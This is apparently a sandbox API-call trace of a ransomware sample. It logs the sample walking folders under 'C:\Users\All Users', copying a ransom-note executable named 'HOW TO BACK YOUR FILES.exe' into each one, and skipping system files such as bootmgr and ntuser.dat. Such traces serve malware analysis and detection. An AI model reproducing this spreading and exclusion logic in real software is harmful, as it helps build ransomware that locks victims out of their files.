	[0040.106] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Documents\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30030730, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0040.107] GetLastError () returned 0x5
	[0040.107] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Documents\\* FindFirstFile error 5\r\n") returned 62
	[0040.107] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Documents\\* FindFirstFile error 5\r\n") returned 62
	[0040.107] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0040.107] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe67
	[0040.107] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x3e, lpOverlapped=0x0) returned 1
	[0040.107] CloseHandle (hObject=0x14c) returned 1
	[0040.108] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a70
	[0040.108] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Desktop", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Desktop") returned="C:\\Users\\All Users\\Desktop"
	[0040.108] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca250 | out: hHeap=0x580000) returned 1
	[0040.108] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0040.108] lstrlenW (lpString="C:\\Users\\All Users\\Desktop") returned 26
	[0040.108] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Desktop" | out: lpString1="C:\\Users\\All Users\\Desktop") returned="C:\\Users\\All Users\\Desktop"
	[0040.108] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.108] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0040.108] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0040.108] GetLastError () returned 0x0
	[0040.108] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0040.109] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0040.109] CloseHandle (hObject=0x14c) returned 1
	[0040.109] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0040.109] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.109] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Desktop\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30030730, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0040.109] GetLastError () returned 0x5
	[0040.109] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Desktop\\* FindFirstFile error 5\r\n") returned 60
	[0040.109] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Desktop\\* FindFirstFile error 5\r\n") returned 60
	[0040.109] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0040.109] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xea5
	[0040.109] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x3c, lpOverlapped=0x0) returned 1
	[0040.109] CloseHandle (hObject=0x14c) returned 1
	[0040.110] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a50
	[0040.110] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Application Data", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Application Data") returned="C:\\Users\\All Users\\Application Data"
	[0040.110] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdca8 | out: hHeap=0x580000) returned 1
	[0040.110] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0040.110] lstrlenW (lpString="C:\\Users\\All Users\\Application Data") returned 35
	[0040.110] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Application Data" | out: lpString1="C:\\Users\\All Users\\Application Data") returned="C:\\Users\\All Users\\Application Data"
	[0040.110] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.110] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0040.111] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0040.111] GetLastError () returned 0x0
	[0040.111] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0040.111] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0040.111] CloseHandle (hObject=0x14c) returned 1
	[0040.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0040.111] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.111] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Application Data\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30030730, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0040.111] GetLastError () returned 0x5
	[0040.111] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Application Data\\* FindFirstFile error 5\r\n") returned 69
	[0040.111] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Application Data\\* FindFirstFile error 5\r\n") returned 69
	[0040.111] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0040.111] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xee1
	[0040.111] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x45, lpOverlapped=0x0) returned 1
	[0040.111] CloseHandle (hObject=0x14c) returned 1
	[0040.112] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b79b0
	[0040.112] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Adobe", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe"
	[0040.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca150 | out: hHeap=0x580000) returned 1
	[0040.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0040.112] lstrlenW (lpString="C:\\Users\\All Users\\Adobe") returned 24
	[0040.112] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Adobe" | out: lpString1="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe"
	[0040.112] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.112] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.117] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.117] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30056890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.117] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.117] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.117] lstrcpyW (in: lpString1=0x2d3e582, lpString2="Acrobat" | out: lpString1="Acrobat") returned="Acrobat"
	[0040.117] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0040.117] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x42) returned 0x5bdca8
	[0040.117] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0040.117] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1
	[0040.117] lstrcmpiW (lpString1="ARM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.117] lstrcmpiW (lpString1="ARM", lpString2="Apollon865.txt.exe") returned 1
	[0040.117] lstrcmpiW (lpString1="ARM", lpString2=".") returned 1
	[0040.117] lstrcmpiW (lpString1="ARM", lpString2="..") returned 1
	[0040.117] lstrcmpiW (lpString1="ARM", lpString2="windows") returned -1
	[0040.117] lstrcmpiW (lpString1="ARM", lpString2="bootmgr") returned -1
	[0040.117] lstrcmpiW (lpString1="ARM", lpString2="temp") returned -1
	[0040.117] lstrcmpiW (lpString1="ARM", lpString2="pagefile.sys") returned -1
	[0040.117] lstrcmpiW (lpString1="ARM", lpString2="boot") returned -1
	[0040.117] lstrcmpiW (lpString1="ARM", lpString2="ids.txt") returned -1
	[0040.117] lstrcmpiW (lpString1="ARM", lpString2="ntuser.dat") returned -1
	[0040.117] lstrcmpiW (lpString1="ARM", lpString2="perflogs") returned -1
	[0040.118] lstrcmpiW (lpString1="ARM", lpString2="MSBuild") returned -1
	[0040.118] lstrlenW (lpString="ARM") returned 3
	[0040.118] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\Acrobat") returned 32
	[0040.118] lstrcpyW (in: lpString1=0x2d3e582, lpString2="ARM" | out: lpString1="ARM") returned="ARM"
	[0040.118] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0040.118] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3a) returned 0x5b6118
	[0040.118] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0040.118] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30056890, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.118] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.118] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30056890, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0040.118] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0040.118] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a50
	[0040.118] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Adobe\\ARM", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM"
	[0040.118] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6118 | out: hHeap=0x580000) returned 1
	[0040.118] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0040.118] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\ARM") returned 28
	[0040.118] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Adobe\\ARM" | out: lpString1="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM"
	[0040.118] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.118] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Adobe\\ARM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\adobe\\arm\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.122] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.122] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30056890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.123] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.123] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.123] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.123] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30056890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.123] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.123] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.123] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.123] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.123] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30056890, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.123] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.123] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 1
	[0040.123] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.123] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="Apollon865.txt.exe") returned 1
	[0040.123] lstrcmpiW (lpString1="Reader_10.0.0", lpString2=".") returned 1
	[0040.123] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="..") returned 1
	[0040.123] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="windows") returned -1
	[0040.123] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="bootmgr") returned 1
	[0040.123] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="temp") returned -1
	[0040.123] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="pagefile.sys") returned 1
	[0040.123] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="boot") returned 1
	[0040.123] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="ids.txt") returned 1
	[0040.123] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="ntuser.dat") returned 1
	[0040.123] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="perflogs") returned 1
	[0040.123] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="MSBuild") returned 1
	[0040.123] lstrlenW (lpString="Reader_10.0.0") returned 13
	[0040.123] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\ARM\\*") returned 30
	[0040.123] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="Reader_10.0.0" | out: lpString1="Reader_10.0.0") returned="Reader_10.0.0"
	[0040.123] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0040.123] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x56) returned 0x5983a8
	[0040.123] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0040.123] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 0
	[0040.123] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0040.123] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a50
	[0040.124] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0"
	[0040.124] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0040.124] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0040.124] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0") returned 42
	[0040.124] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0" | out: lpString1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0"
	[0040.124] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.125] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.131] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.131] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3007c9f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3007c9f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.132] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.132] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.132] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.132] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3007c9f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3007c9f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.132] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.132] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.132] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.132] lstrcmpiW (lpString1="..", lpString2="..") returned 0
